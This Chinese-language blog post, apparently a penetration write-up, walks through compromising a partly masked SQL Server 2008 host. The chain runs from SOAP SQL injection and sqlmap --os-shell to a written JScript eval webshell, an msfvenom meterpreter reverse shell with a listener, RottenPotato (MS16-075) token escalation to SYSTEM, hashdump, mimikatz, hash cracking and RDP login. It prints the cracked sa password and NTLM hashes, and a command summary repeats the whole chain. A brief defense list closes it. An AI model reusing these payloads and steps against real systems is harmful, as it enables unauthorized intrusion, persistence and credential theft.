1. 程式人生 > >soap註入某sql2008服務器結合msf進行提權

soap註入某sql2008服務器結合msf進行提權

soap註入 ms16-075

soap註入某sql2008服務器結合msf進行提權

simeon

在實際成功×××過程中,漏洞的利用都是多個技術的融合,最新技術的實踐,本次×××利用sqlmap來確認註入點,通過sqlmap來獲取webshell,結合msf來進行ms16-075的提權,最終獲取了目標服務器的系統權限。本文算是漏洞利用的一個新的拓展,在常規Nday提權不成功的情況下,結合msf進行ms16-075成功提權的一個經典案例。

1.1.1掃描soap註入漏洞

1.使用awvs中的web services scanner進行漏洞掃描

打開awvs,選擇web services scanner進行漏洞掃描,如圖1所示,在wsdl url中填寫目標url地址,註意一定是asmx?wsdl,有的是有asmx文件,如果沒有則可以直接填寫,例如:http://1**.***.***.***:8081/?wsdl。

技術分享圖片

圖1進行soap註入漏洞掃描

2.處理sql盲註

    通過awvs掃描,確認該url地址存在sql盲註(26處),在awvs中,單擊右邊的“view http headers”,將其內容復制到一個文本文件中,同時處理存在漏洞的語句,在本例中例如:<urn:string>-1&apos; OR 3*2*1=6 AND 000223=000223 or &apos;gPireHft&apos;=&apos;</urn:string>

需要將紅色字圖部分更換為”-1*”。

3.完整的header包中內容如下:

POST /Service1.asmx HTTP/1.1

Content-Type: text/xml

SOAPAction: "http://tempuri.org/ZcpdList"

Content-Length: 716

X-Requested-With: XMLHttpRequest

Referer: http://1**.***.***.***:8081/?wsdl

Host: 1**.***.***.***:8081

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21

Accept: */*

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="http://tempuri.org/" xmlns:urn2="http://tempuri.org/AbstractTypes">

<SOAP-ENV:Header/>

<SOAP-ENV:Body>

<urn:ZcpdList>

<urn:Inventory_dhs>

<urn:string>-1*</urn:string>

</urn:Inventory_dhs>

</urn:ZcpdList>

</SOAP-ENV:Body>

</SOAP-ENV:Envelope>

Response

1.1.2確認soap註入漏洞

1.使用sqlmap檢測是否存在sql註入漏洞

將前面的header中的內容保存為1**.***.***.***.txt,將該文件復制到sqlmap.py程序所在目錄,執行命令:sqlmap.py -r 1**.***.***.***.txt,對sqlmap提示的信息進行確認:

custom injection marker ('*') found in option '--data'. Do you want to process it? [Y/n/q] y

SOAP/XML data found in POST data. Do you want to process it? [Y/n/q]y

如圖2所示,sqlmap確認該sql註入漏洞存在,且該數據庫服務器為windows 2008 R2,數據庫版本為sql server 2008,soap存在漏洞為union查詢。

技術分享圖片

圖2 存在soap註入漏洞

2.查看數據庫是否dba權限

(1)自動提交參數進行測試

如圖3所示,執行命令:sqlmap.py -r 1**.***.***.***.txt --is-dba --batch後,也要兩次確認y,由於使用了參數“batch”,sqlmap會自動進行提交判斷值。

技術分享圖片

圖3自動提交參數進行判斷

(2)獲取當前數據庫使用的用戶是dba賬號。

如圖4所示,在sqlmap中獲取當前用戶是dba,顯示結果為true。該結果表明數據庫是使用sa權限,可以通過os-shell參數來獲取webshell。

技術分享圖片

圖4判斷是否為dba賬號

3.獲取sa賬號密碼

如圖5所示,使用命令sqlmap.py -r 1**.***.***.***.txt --password --batch直接獲取該數據庫連接的所有賬號對應的密碼值:

技術分享圖片

圖5獲取sa賬號密碼

4.破解sa賬號密碼

在前面通過sqlmap成功獲取其數據庫密碼哈希值:

[*] ##MS_PolicyEventProcessingLogin## [1]:

password hash: 0x01001a7b0c5b5b347506dbc67aa8ffa2ad20f852076d8446a838

[*] ##MS_PolicyTsqlExecutionLogin## [1]:

password hash: 0x01006c6443e1e42ca27773d413042ee8af2eea9026d44c8d4d1c

[*] sa [1]:

password hash: 0x0100b7b90b706f339288fb0ab4c8a099c4de53045d2de6297e28

將sa對應的密碼值“0x0100b7b90b706f339288fb0ab4c8a099c4de53045d2de6297e28”在www.cmd5.com進行查詢,如圖6所示,其解密結果為“qaz123WSX”。

技術分享圖片

圖6解密sa密碼哈希值

1.1.3通過--os-shell獲取webshell

1.獲取os-shell

在sqlmap中執行命令:sqlmap.py -r 1**.***.***.***.txt --os-shell,在sqlmap執行窗口中確認信息:

custom injection marker ('*') found in option '--data'. Do you want to process it? [Y/n/q] y

SOAP/XML data found in POST data. Do you want to process it? [Y/n/q] y

do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]

也可以執行sqlmap.py -r 1**.***.***.***.txt --os-shell --batch命令不用手工輸入。

2.尋找web程序所在目錄

(1)查看文件及目錄

執行dir c:\命令後,可以查看c目錄及文件,繼續查看“dir c:\inetpub\wwwroot”如圖7所示,在該文件夾中無web程序,排除該目錄。

技術分享圖片

圖7查看文件及目錄

(2)獲取網站真實目錄

通過依次查看c、d、e、f盤,在e盤獲取疑似網站程序文件,使用命令進行查看dir e:\software\AMS_NoFlow,如圖8所示。

技術分享圖片

圖8查看網站文件

3.測試網站真實目錄

(1)生成文件測試

如圖9所示,使用echo命令:echo "thisis test">e:\software\AMS_NoFlow\t.txt,在網站根目錄下生成t.txt文件。內容為thisis test。

技術分享圖片

圖9生成文件

(2)網站訪問測試

在瀏覽器中輸入地址http://1**.***.***.***/1.txt進行測試,如圖10所示,獲取內容跟預期一致,該目錄為網站真實物理地址。

技術分享圖片

圖10網站訪問測試

4. 獲取web.config配置文件內容

在os-shell中,執行type e:\software\AMS_NoFlow\web.config命令查看web.config文件中的內容,在sqlmap命令窗口由於設置問題,可能無法查看其完整的內容,不過sqlmap在其output目錄下,會保持詳細情況,如圖11所示,打開其log文件,可以看到其sa賬號對應的密碼為qaz123WSX,跟前面破解的sa密碼一致。

技術分享圖片

圖11查看web.config配置文件內容

5.獲取ip地址信息

如圖12所示,在os-shell中執行ipconfig命令,即可獲取該目標的IP地址配置情況,該目標對外配置獨立外網IP和內網IP地址,在os-shell中還可以執行其它命令。

技術分享圖片

圖12獲取IP地址

6. 獲取webshell測試

(1)生成shell文件

在os-shell中執行命令:echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > e:\software\AMS_NoFlow\cmd.aspx

如圖13所示,回顯結果顯示1,無其它信息,表面生成文件命令成功。

技術分享圖片

圖13 生成webshell

(2)獲取webshell

使用中國菜刀後門管理工具,創建記錄http://1**.***.***.***/cmd.aspx,一句話後門密碼:pass,如圖14所示,連接成功,成功獲取webshell。

技術分享圖片

圖14獲取webshell

1.1.4常規方法提權失敗

1.生成系統信息文件

在os-shell中執行命令:systeminfo > SYD1-0081DSB.txt

2.下載Windows-Exploit-Suggester程序

Windows-Exploit-Suggester下載地址:https://github.com/GDSSecurity/Windows-Exploit-Suggester/

3.更新漏洞庫並進行漏洞比對

在python中執行windows-exploit-suggester.py -u進行更新,同時對漏洞庫進行比對:

windows-exploit-suggester.py --audit -l --database 2018-06-04-mssb.xls --systeminfo SYD1-0081DSB.txt > SYD1-0081DSB-day.txt,如圖15所示。

技術分享圖片

圖15進行漏洞比對

4.查看漏洞情況

在C:\Python27目錄打開SYD1-0081DSB-day.txt文件,如圖16所示,可以看到程序判斷該操作系統為windows 2008 R2版本,且存在多個漏洞,最新漏洞為ms16-075。

技術分享圖片

圖16查看漏洞情況

5.對存在的漏洞進行提權測試

按照漏洞編號,查找並整理exp文件,在目標服務器上進行提權測試,除ms16-075exp外,測試均失敗,無法提權。

1.1.5借助msf進行ms16-075提權

1.使用msf生成反彈×××

在msf下面執行命令:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4433 -f exe -o 4433.exe

其中windows/meterpreter/reverse_tcp反彈端口類型,lhost是反彈連接的服務器Ip地址,註意該ip地址必須是獨立服務器,或者必須是外網端口映射,換句話說,就是反彈必須能夠接收,lport為反彈的端口,4433為生成的程序。

2.在監聽服務器上執行監聽命令

(1)啟動msf

msfconsole

(2)配置meterpreter參數

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.1.33

set LPORT 4433

exploit

3.上傳4433.exe程序到目標服務器及執行

將4433.exe文件上傳到目標服務器,並通過中國彩刀或者os-shell進行執行。

4.查看系統信息

如圖17所示,目標反彈到監聽服務器上,執行sysinfo,獲取其系統信息。

技術分享圖片技術分享圖片

圖17獲取系統信息

5.使用meterpreter自帶提權功能失敗

在meterpreter中分別執行getuid和getsystem命令,如圖18所示,未能成功提權。

技術分享圖片

圖18使用默認meterpreter提權失敗

6.使用ms16-075進行提權

(1)ms16-075可利用exp下載

https://github.com/foxglovesec/RottenPotato

(2)上傳potato文件

通過webshell上傳potato.exe文件,或者在msf下面執行命令上傳:

upload /root/potato.exe

(3)獲取系統權限

依次執行以下命令:

use incognito

list_tokens -u

execute -cH -f ./potato.exe

list_tokens -u

如圖19所示,成功獲取系統權限。

技術分享圖片

圖19獲取系統權限tokens

(4)獲取系統權限

分別執行命令:

impersonate_token "NT AUTHORITY\\SYSTEM"

getuid

如圖20所示,成功獲取系統權限。

技術分享圖片

圖20獲取系統權限

(5)獲取密碼

在meterpreter下執行命令:run hashdump命令,如圖21所示,成功獲取該服務器密碼哈希值:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:a59a64a645487c1581dea603253c7920:::

技術分享圖片

圖21獲取密碼

在本例中還是用load mimikatz進行明文密碼獲取,但獲取效果不理想,執行命令:

kerberos、livessp、msv、ssp、tspkg、wdigest獲取不到明文密碼,還可以執行命令mimikatz_command,進入mimikatz命令提示符下進行操作。

(6)破解ntml密碼

將ntml密碼哈希值a59a64a645487c1581dea603253c7920復制到cmd5.com進行破解, cmd5需要付費,還可以到:

http://www.objectif-securite.ch/en/ophcrack.php和https://www.somd5.com/網站 進行密碼破解,如圖22所示,成功破解密碼。

技術分享圖片

圖22破解ntlm哈希值

7.登錄服務器

通過nmap -sS -Pn -A 1**.***.***.***或者masscan -p 1-65535 1**.***.***.***進行端口掃描,發現該服務器開放3389端口,使用mstsc進行登錄,如圖23所示,成功登錄該服務器。

技術分享圖片

圖23成功登錄服務器

1.1.6總結與防禦

1.本次×××主要命令匯總

(1)sqlmap執行命令

sqlmap.py -r 1**.***.***.***.txt

sqlmap.py -r 1**.***.***.***.txt --is-db

sqlmap.py -r 1**.***.***.***.txt --password --batch

sqlmap.py -r 1**.***.***.***.txt --os-shell

(2)os-shell下執行命令

ipconfig

dir c:/

echo "thisis test">e:\software\AMS_NoFlow\t.txt

echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > e:\software\AMS_NoFlow\cmd.aspx

(3)msf下執行命令

生成反彈×××:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4433 -f exe -o 4433.exe

(4)msf啟動及監聽

msfconsole

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.1.33(實際為外網IP地址

set LPORT 4433

exploit

(5)ms16-075提權命令

use incognito

list_tokens -u

execute -cH -f ./potato.exe

list_tokens -u

impersonate_token "NT AUTHORITY\\SYSTEM"

getuid

(6)獲取密碼

run hashdump

(7)mimikatz進行密碼獲取

load mimikatz

kerberos、livessp、msv、ssp、tspkg、wdigest(逐個命令測試,有的會顯示明文密碼)

mimikatz_command:mimikatz命令提示窗口

(8)mimikatz命令行下獲取密碼(未做測試)

privilege::debug

sekurlsa::logonpasswords

2.×××總結

在本次×××中,通過sqlmap進行soap註入測試,通過sqlmap判斷sql註入點可用,後續通過os-shell成功獲取了webshell。獲取webshell後,嘗試通過常規的Nday提權方法,結果失敗,後續通過msf配合進行ms16-075進行提權。Windows-Exploit-Suggester進行本地漏洞的判斷和測試效果還是可以的,通過其審計,使用最新漏洞進行提權,基本命中率在99%。

3.安全防禦

成功×××該服務器後,在該服務器上未發現有任何安全防護軟件,筆者根據經驗,建議做如下安全防禦:

(1)對soap參數進行過濾,過濾危險的一些導致sql註入的參數。

(2)mssql數據庫使用低權限用戶進行數據庫連接。

(3)服務器定期進行補丁更新升級。

(4)安裝殺毒軟件、waf及硬件防火墻,增加×××成本和難度

更多有關sqlmap精彩技術文章,請訂閱http://blog.51cto.com/cloumn/detail/3

soap註入某sql2008服務器結合msf進行提權